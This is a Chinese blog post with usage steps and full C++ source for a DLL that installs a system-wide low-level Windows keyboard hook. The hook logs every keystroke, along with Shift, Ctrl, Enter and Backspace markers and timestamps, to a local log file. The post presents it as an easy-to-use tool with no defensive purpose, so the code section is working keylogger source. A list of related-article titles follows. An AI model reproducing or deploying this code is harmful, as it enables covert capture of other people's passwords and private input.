键盘钩子 C++ HOOK 超级好用

使用方法

1、定义头文件

#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endifBAPI void HelloZB();

2、添加库文件(使用DLL生成的LIB文件)

3、调用函数

HelloZB();

DLL C++代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include <windows.h>
#include <stdio.h>HINSTANCE hins = NULL;
HHOOK MaiNHook = NULL;
BYTE kso[1024];BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{hins = (HINSTANCE)hModule;switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:GetKeyboardState(kso);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}#define DLLEXPORT
#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endifBAPI void HelloZB();const char savefilename[] = "ZBMAKE_KeyString.log";void OutFile( char* str, int len)
{FILE* f = fopen(savefilename, "ab+");if (f) {fwrite(str, 1, len, f);fclose(f);}
}void getTime(char* Caption)
{LPSYSTEMTIME time = new SYSTEMTIME();char pStr[255];GetLocalTime(time);sprintf(pStr, "\n>>>%s--[ %04d-%02d-%02d %02d:%02d:%02d ]-->>>\n", Caption,time->wYear,time->wMonth,time->wDay,time->wHour,time->wMinute,time->wSecond);OutFile(pStr, strlen(pStr));return;
}const char DXDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNM";
const char XXDATA[] = "qwertyuiopasdfghjklzxcvbnm";
const char SELFDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789/*-+.`~!@#$%^&*()_+,./<>?;'\\:\"|[]{}";
char toDX(char c)
{int len = strlen(DXDATA);int i = 0;for (i = 0; i < len; i++) { if (XXDATA[i] == c) {return DXDATA[i];}}return c;
}char toXX(char c)
{int len = strlen(DXDATA);int i = 0;for (i = 0; i < len; i++) {if (DXDATA[i] == c) {return XXDATA[i];}}return c;
}char selfchar(char c)
{int len = strlen(SELFDATA);int i = 0;for (i = 0; i < len; i++) {if (SELFDATA[i] == c) {return c;}}return 0;
}char getnowch( char c )
{c= selfchar(c);if (c == 0) return 0;int caps = GetKeyState(VK_CAPITAL);int shiftL = GetKeyState(VK_SHIFT);bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;bool caps_bool = (caps & 0x0000000F) == 0x00000001;bool dxx = caps_bool^shift_bool;char newch = c;if (dxx) {newch = toDX(c);}else {newch = toXX(c);}return newch;
}LRESULT keyproc(int code, WPARAM wParam, LPARAM lParam)
{KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;   WORD w;UINT scan = 0;ToAscii(ks->vkCode, ks->scanCode, kso, &w, 0);w &= 0x00FF;printf("%02X\n",w);char buf[15];int buflen = 0;int shiftL = GetKeyState(VK_SHIFT);bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;int ctrl = GetKeyState(VK_CONTROL);bool ctrl_bool = ((ctrl >> 4) & 0x0000000F) == 0x00000008;if (w == 0x0D) {buf[0] = '<';buf[1] = 'L';buf[2] = 'I';buf[3] = 'N';buf[4] = 'E';buf[5] = '>';buf[6] = 0;buflen = 6;if (wParam == WM_KEYDOWN) {getTime(buf);}buflen = 0;}else if (w == 0x08) {buf[0] = '<';buf[1] = 'B';buf[2] = 'A';buf[3] = 'C';buf[4] = 'K';buf[5] = '>';buf[6] = 0;buflen = 6;}else if (shift_bool) {buf[0] = '<';buf[1] = 'S';buf[2] = 'H';buf[3] = 'I';buf[4] = 'F';buf[5] = 'T';buf[6] = '[';buf[7] = w;buf[8] = ']';buf[9] = '>';buf[10] = 0;buflen = 10;}else if (ctrl_bool) {buf[0] = '<';buf[1] = 'C';buf[2] = 'T';buf[3] = 'R';buf[4] = 'L';buf[5] = '[';buf[6] = w;buf[7] = ']';buf[8] = '>';buf[9] = 0;buflen = 9;}else {w = getnowch(w);buf[0] = w;buf[1] = 0;buflen = 1;}if ( (w != 0) && (wParam == WM_KEYDOWN) ) {OutFile(buf, buflen);}return  CallNextHookEx(MaiNHook, code, wParam, lParam);
}BAPI void HelloZB()
{MaiNHook = SetWindowsHookExA(WH_KEYBOARD_LL, (HOOKPROC)keyproc, hins, 0);if (MaiNHook != NULL) {MessageBeep(0);getTime("FIRST-START");}
}

键盘钩子 C++ HOOK 超级好用x64 x86 都可以使用相关推荐

  1. 如何让你的程序避开全局键盘钩子的监视

    原文地址:http://blog.okbase.net/BlueSky/archive/3839.html 一直以来有个疑问,就是如果别人在你的电脑上安装了键盘钩子来监视你的键盘按键动作,我的程序怎么 ...

  2. 【Delphi】Windows系统下的键盘钩子

    目的:为了实现得力牌扫码枪的输入,并执行特定功能. 场景描述:此款扫码枪模拟键盘信号,并支持以回车.换行等结尾,这里采用回车结尾进行开发. 思路:使用Windows的钩子回调函数,这里模拟键盘信号所以 ...

  3. HOOK使用:全局键盘钩子

    // CatchKey.cpp : Defines the entry point for the DLL application. // #define _WIN32_WINNT 0x0500 // ...

  4. 全局钩子(hook鼠标键盘消息)

    生成DLL文件,模块定义文件为: LIBRARY Hook EXPORTS SetHook @2 实现文件如下.其中g_hWnd为所有进程共享,并且绕过了系统对可写数据的写时复制机制,维护的是一份拷贝 ...

  5. [C++]键盘钩子程序

    实现适时监视键盘,并将按键信息保存在TXT文件中的程序 Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的.而钩子是Windows系统中非常重要的系统接口,用它 ...

  6. 低级键盘钩子,在WIN7以上版本的问题

    最近在项目用到低级键盘钩子.发现一个很奇怪的事情,在开发环境和测试环境下都正常运行的键盘钩子, 到了现场环境,总是偶发性出现 键盘钩子不能用了,而且退出时产生1404 错误. 后经过阅读MSDN 的R ...

  7. 利用键盘钩子捕获Windows键盘动作

    引言 在科研生产中对研制.调试操作的记录是非常有必要而且是有很重要价值的.通过对记录信息的分析,可以在事故发生后准确的分析出事故的起因.操作是否存在失误等许多重要线索.通常需要记录的信息是多种多样的, ...

  8. 低级键盘钩子 DLL

    C语言封装的低级键盘钩子(HOOK)的DLL程序, +源码,  并有测试程序... 下载地址 : http://download.csdn.net/detail/hemmingway/4570548

  9. windows api学习笔记-键盘钩子

    DLL项目的头文件 #ifdef KEYHOOKLIB_EXPORT //此宏将在CPP文件中定义 #define KEYHOOKLIB_API __declspec(dllexport) #else ...

最新文章

  1. CVPR 2021 | 国防科大:基于几何稳定性分析的物体位姿估计方法
  2. oracle tns连接拒绝,TNS-12564: TNS: 拒绝连接(new)
  3. oracle中or的替函数,Oracle常用内置Or自定义函数-SQL宝典
  4. 爬虫基本库的使用---urllib库
  5. sdut-1117 C语言实验——求绝对值(选择结构)
  6. linux离线安装pyhs2,Python 下载及安装详细步骤
  7. [设计模式]单例模式(懒汉式,饿汉式)
  8. 深挖Kubernetes存储为何如此难及其解决方案
  9. centos7挂载ntfs文件系统_MacOS读写挂载NTFS磁盘,几行代码就行了
  10. 0宽字符加密_vulnhub实战靶场攻略:Breach 1.0
  11. Git提交错误:Permission denied (publickey),fatal: Could not read from remote reposito
  12. jeecgboot 查询_Jeecg-Boot 技术文档
  13. Mini-Batch 、Momentum、Adam算法的实现
  14. Windows xp多国语言包
  15. 新经济 DTC 转型,一个简单而强大的数据平台至关重要
  16. Ubuntu编译MT7628的固件(openwrt)
  17. Wannacry浅析
  18. 攻防世界-mfw-(详细操作)做题笔记
  19. Spring Boot多数据源配置并通过注解实现动态切换数据源
  20. 对学生公寓部建议和意见_关于进一步加强学生公寓管理工作的意见

热门文章

  1. 前端HTMl摩天轮展示
  2. java web 轻量 编辑器_NKeditor: NKedtior是一款优秀的轻量级Web编辑器,基于 Kindedior 二次开发...
  3. 解决git push时报“remote: You are not allowed to upload code“的报错
  4. 服务器管理器开机显示,服务器每次开机初始化
  5. [单片机框架][bsp层][nrf52832][nrf52840][nrf52810][nrf52820][ESB(2.4G)] ESB(2.4G)使用说明
  6. java读取mp3文件头信息
  7. linux 交换机tftp服务,Linux制作之Linux tftp服务安装与设置(atftp)仓酷云
  8. c语言中6f表示的数是多少,c语言里的一些底层行为
  9. JAVA 中的设计模式(一)
  10. 加班多无聊过来看看,只有程序员才懂的幽默